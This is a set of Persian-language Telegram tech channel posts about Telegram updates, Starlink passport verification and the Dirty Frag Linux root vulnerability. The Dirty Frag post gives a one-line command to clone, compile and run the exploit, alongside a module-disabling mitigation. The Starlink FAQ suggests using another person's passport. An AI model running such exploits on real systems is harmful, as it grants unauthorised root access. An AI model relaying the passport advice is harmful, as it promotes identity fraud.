نکته‌ای که در آپدیت قبلی تلگرام فراموش شد که به اون اشاره بشه، تغییری در نحوه فوروارد کردن موزیک‌ها هست که حالا مثل بقیه پیام‌ها، تلگرام در اندروید و دسکتاپ مبدأ اون موزیک رو هم نشون میده.

بنابراین در هنگام فوروارد کردن موزیک‌ها، حواستون باشه که اگر مایل نیستین مبدأ اون موزیک (چه شخص و چه کانال) مشخص بشه، گزینه Hide Sender Name رو برای اون موزیک در هنگام فوروارد فعال کنید.

🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

احراز هویت اکانت‌های استارلینک

استارلینک شروع به درخواست احراز هویت از کاربرانی کرده که سرویس فعال دارند.

📣 این موضوع شامل کاربران سرویس رایگان نمی‌شود.

کاربران ایرانی در این موضوع تنها نیستند، این اتفاق برای عراق، کنیا و چند کشور دیگر هم افتاده و به نظر می‌رسد از این به بعد بخشی از روند معمول اکانت‌های Roam خارج از کشور محل فعال‌سازی سرویس خواهد بود.

مدارک و ابزار مورد نیاز برای احراز هویت:
۱. پاسپورت
۲. گوشی با دوربین (برای عکس سلفی)

❕ نام اکانت استارلینک باید با نام روی پاسپورت یکی باشد.
اگر یکی نیست، از این روش برای ساخت اکانت با نام واقعی استفاده کنید.
آموزش


📌 فرم احراز هویت، موارد الزامی:

نام کامل (مطابق پاسپورت)
ملیت (مطابق پاسپورت)
تاریخ تولد (مطابق پاسپورت)
شماره پاسپورت
تصویر واضح از صفحه اول پاسپورت
عکس سلفی


❔ سوالات متداول:
س: آیا ایرانی بودن در آینده مشکلی ایجاد خواهد کرد؟
ج: تا امروز مشکل جدی‌ای ایجاد نشده. امیدواریم در آینده هم نشود.

س: پاسپورت ندارم، چه کار کنم؟
ج: می‌توانید از پاسپورت شخص دیگری استفاده کنید.

س: آیا ارسال اطلاعات پاسپورت از نظر امنیتی مشکلی ندارد؟
ج: استارلینک امنیت این اطلاعات را جدی می‌گیرد. در صورت هک شدن احتمالاً هدف هکرها اطلاعات مهم‌تری از کپی پاسپورت خواهد بود.

سوالات بی‌جواب (فعلاً):
- چرا بعضی اکانت‌ها نیاز به احراز هویت ندارند؟
- در صورت عدم احراز هویت چه اتفاقی می‌افتد؟ (با توجه به رایگان بودن سرویس در ایران و عدم نیاز به اکانت)

🖐 هشدار امنیتی مهم:
اگر کسی در پیام خصوصی با شما تماس گرفت و ادعا کرد که می‌تواند در این فرآیند کمک کند و به خصوص اگر پروفایلش شبیه NasNet یا ادمین‌های این گروه بود، جواب ندهید.
اطلاعات شخصی، پاسپورت یا هر مدرک هویتی خود را با هیچ فرد ناشناسی در فضای آنلاین به اشتراک نگذارید. ادمین‌های این گروه هرگز از طریق پیام خصوصی چنین درخواستی نخواهند داشت.


➖➖➖➖➖➖➖
🟣 JoinNASNET
🎞 JoinNASNET
🤖 JoinNASNET
💭 JoinNASNET

صاحبان بات‌های تلگرامی از حالا می‌تونن از طریق BotFather دسترسی به باتشون رو تنها به خودشون و افراد مدنظرشون محدود کنن که برای بات‌های شخصی و بات‌های درون سازمانی کاربردی هست.

تا پیش از این برای این کار نیاز بود که دسترسی افراد در سطح کد محدود بشه ولی حالا با رفتن به وب‌اپ BotFather، وارد شدن به قسمت Bot Settings میشه با فعال کردن قابلیت Restrict bot usage امکان استفاده از بات رو به خودتون و دیگر افرادی که انتخاب می‌کنید، محدود کنید.

🚀 دیگر قابلیت‌های اپدیت جدید تلگرام

📍 @TechTube

بازهم آسیب‌پذیری تمام لینوکس‌ها از ۲۰۱۷: Dirty Frag

آسیب‌پذیری تازه‌ای در ادامه‌ی Dirty Pipe و Copy Fail پیدا شده، که با ترکیب دو باگ امنیتی (xfrm-ESP و RxRPC در Page Cache) در بسیاری از توزیع‌ها می‌تونه دسترسی root بگیره.

می‌تونید روی سیستم خودتون هم امتحانش کنید:

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

پس از اینکه انجامش دادید، Page Cache شما آلوده شده با اجرای دستور:

echo 3 > /proc/sys/vm/drop_caches

یا ری‌استارت کردن سیستم به حالت پیش برگردونیدش.

راهکار:
تا پچ امنیتی برای توزیعتون بیاد می‌تونید با این دستور ماژولهایی که این آسیب‌پذیری در اونها وجود داره را غیرفعال کنید و Page cache را پاک کنید:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

روی این سیستم‌ها تا الان تست شده و آسیب‌پذیر بودند:

Ubuntu 24.04.4: 6.17.0-23-generic
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
openSUSE Tumbleweed: 7.0.2-1-default
CentOS Stream 10: 6.12.0-224.el10.x86_64
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
Fedora 44: 6.19.14-300.fc44.x86_64

اگه شبیه CopyFail به نظر میاد خودشون گفتن که:

ایده شروع این تحقیق از آسیب‌پذیری Copy Fail گرفته شده. به‌طور مشخص، بخش xfrm-ESP در زنجیره آسیب‌پذیری Dirty Frag از همان نقطه ضعف مشابه Copy Fail استفاده می‌کند. اما تفاوت مهم این است که این آسیب‌پذیری مستقل از وجود ماژول algif_aead فعال می‌شود.

به عبارت دیگر، حتی اگر روی سیستم راهکار شناخته‌شده مقابله با Copy Fail (مثل غیرفعال کردن algif_aead) اعمال شده باشد، باز هم لینوکس شما در برابر Dirty Frag آسیب‌پذیر باقی می‌ماند.

⌨️ توضیحات بیشتر در گیت‌هاب

تمام این اتفاق‌ها داره در زمانی میوفته که اینترنت ایران همچنان قطعه، سیستم‌ها به روز نشدند، با خبر شدن از این باگ‌ها و برطرف کردنشون به مراتب سخت‌تر خواهد بود.

✈️ به این لیست (از کانال سهراب) Dirty Frag را هم اضافه کنید.


🎮 @gooyban

‏🪙 بالأخره فرگمنت پشتیبانی از استیبل کوین تتر روی شبکه TON رو برای پرداخت اضافه کرده و حالا به جای پرداخت با شت کوینی که ارزشش امروز ۲۰ درصد میره بالا و چند روز دیگه ۴۰ درصد میاد پایین، می‌تونید با استیبل کوینی که ارزشش ثابته در فرگمنت اشتراک پریمیوم و استار تلگرام رو خریداری کنید.

📍 @TechTube